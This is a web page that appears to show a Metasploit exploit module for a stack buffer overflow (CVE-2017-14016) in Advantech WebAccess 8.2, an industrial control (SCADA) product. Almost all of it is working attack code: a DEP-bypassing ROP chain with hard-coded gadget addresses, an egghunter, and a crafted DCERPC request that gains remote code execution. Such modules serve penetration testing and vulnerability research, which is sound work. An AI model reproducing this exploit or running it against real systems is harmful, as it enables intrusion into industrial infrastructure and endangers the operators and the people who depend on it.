Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/advantech_webaccess_webvrpcs_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GoodRanking89include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Egghunter1112def initialize(info = {})13super(update_info(info,14'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Advantech WebAccess 8.2.17By sending a specially crafted DCERPC request, an attacker could overflow18the buffer and execute arbitrary code.19},20'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'ZDI', '17-938' ],25[ 'CVE', '2017-14016' ],26[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 2048,36'BadChars' => "\x00",37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',42{43'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x1444'Slide' => 0x07048f5b, # retn45'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x0446}47],48],49'DisclosureDate' => '2017-11-02',50'DefaultTarget' => 0))51register_options([ Opt::RPORT(4592)])52end5354def create_rop_chain()5556# this target opts into dep57rop_gadgets =58[590x020214c6, # POP EAX # RETN [BwKrlAPI.dll]600x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]610x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]620x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]630x0201a646, # POP EBP # RETN [BwKrlAPI.dll]640x07024822, # & push esp # ret [BwPAlarm.dll]650x070442dd, # POP EAX # RETN [BwPAlarm.dll]660xffffffff, # Value to negate, will become 0x00000001670x070467d2, # NEG EAX # RETN [BwPAlarm.dll]680x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]69rand_text_alpha(4).unpack('V'),70rand_text_alpha(4).unpack('V'),71rand_text_alpha(4).unpack('V'),720x02030af7, # POP EAX # RETN [BwKrlAPI.dll]730xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)740x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]750x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]760x07078df5, # POP EAX # RETN [BwPAlarm.dll]770xffffffc0, # Value to negate, will become 0x00000040780x070467d2, # NEG EAX # RETN [BwPAlarm.dll]790x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]800x0706fe66, # POP EDI # RETN [BwPAlarm.dll]81rand_text_alpha(4).unpack('V'),82rand_text_alpha(4).unpack('V'),830x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]840x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]850x90909090, # nop860x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]87].flatten.pack("V*")88return rop_gadgets89end9091def exploit92connect93handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])94print_status("Binding to #{handle} ...")95dcerpc_bind(handle)96print_status("Bound to #{handle} ...")9798# send the request to get the handle99resp = dcerpc.call(0x4, [0x02000000].pack('V'))100handle = resp.last(4).unpack('V').first101print_good("Got a handle: 0x%08x" % handle)102egg_options = { :eggtag => "0day" }103egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)104105# apparently this is called a ret chain106overflow = [target['Slide']].pack('V')107overflow << [target['Slide']].pack('V')108overflow << [target['Slide']].pack('V')109overflow << [target['Slide']].pack('V')110overflow << [target['Slide']].pack('V')111overflow << [target['Slide']].pack('V')112overflow << [target['Jmp']].pack('V')113overflow << [target['Ret']].pack('V')114overflow << [target['Slide']].pack('V')115overflow << [target['Slide']].pack('V')116overflow << [target['Slide']].pack('V')117overflow << [target['Slide']].pack('V')118overflow << [target['Slide']].pack('V')119overflow << [target['Slide']].pack('V')120overflow << create_rop_chain()121overflow << egghunter122overflow << egg123overflow << rand_text_alpha(0x1000-overflow.length)124125# sorry but I dont like msf's ndr class.126sploit = [handle].pack('V')127sploit << [0x000138bd].pack('V') # opcode we are attacking128sploit << [0x00001000].pack('V') # size to copy129sploit << [0x00001000].pack('V') # size of string130sploit << overflow131print_status("Trying target #{target.name}...")132begin133dcerpc_call(0x1, sploit)134rescue Rex::Proto::DCERPC::Exceptions::NoResponse135ensure136disconnect137end138handler139end140end141142143